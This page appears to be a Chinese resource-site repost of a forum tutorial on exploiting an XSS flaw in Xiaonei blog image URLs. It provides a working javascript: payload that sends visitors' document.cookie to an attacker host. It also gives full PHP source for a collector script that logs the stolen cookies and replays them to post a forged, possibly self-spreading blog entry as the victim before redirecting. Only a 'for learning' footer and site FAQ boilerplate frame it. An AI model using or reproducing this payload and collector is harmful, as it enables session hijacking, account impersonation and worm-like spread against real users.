校内网最新 xss Cookies得到密码
![](https://www.zyfx8.cn/wp-content/uploads/2020/11/1605163871-3a4526b4e0897cb.png)
From:http://t00ls.net/viewthread.php?tid=1323&highlight= 校内网在发blog时对插入图片过滤不严格,存在xss漏洞. 在发blog时将插入图片URL写为如下代码即可触发:普通浏览复制代码打印代码 javascript:window.location.href=\’http://www.xxx.com/test.<SPAN class=t_tag xxxxx=tagshow(event) href="tag.php?name=php">php</SPAN>?cookie=\’+document.cookie javascript:window.location.href=\’http://www.xxx.com/test.php?cookie=\’+document.cookie test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:普通浏览复制代码打印代码 <?php ob_start(); $url = \’blog.xiaonei.com\’; $cookie=$_GET[\’cookie\’]; $cookie1=$cookie."\\r\\n\\r\\n"; fputs(fopen(\’a.txt\’,\’a+\’),$cookie1); //cookie写入 a.txt //发一条伪造的日志,这条日志里面也可以插入恶意代码 $sock = fsockopen("$url", 80, $errno, $errstr, 30); if (!$sock) die("$errstr ($errno)\\n"); $data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe="; fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\\r\\n"); fwrite($sock, "Accept: */*\\r\\n"); fwrite($sock, "Referer: http://$url\\r\\n"); fwrite($sock, "Accept-Language: zh-cn\\r\\n"); fwrite($sock, "Content-Type: application/x-www-form-urlencoded\\r\\n"); fwrite($sock, "Accept-Encoding: gzip, deflate\\r\\n"); fwrite($sock, "User-Agent: Mozilla\\r\\n"); fwrite($sock, "Host: $url\\r\\n"); fwrite($sock, "Content-Length: ".strlen($data)."\\r\\n"); fwrite($sock, "Connection: Keep-Alive\\r\\n"); fwrite($sock, "Cache-Control: no-cache\\r\\n"); fwrite($sock, "Cookie:".$cookie."\\r\\n\\r\\n"); fwrite($sock, $data); $headers = ""; while ($str = trim(fgets($sock, 4096))) $headers .= "$str\\n"; echo "\\n"; $body = ""; while (!feof($sock)) $body .= fgets($sock, 4096); fclose($sock); //echo $body; //跳转到一个正常的日志 Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx"); ob_end_flush(); ?>
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 校内网最新 xss Cookies得到密码
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html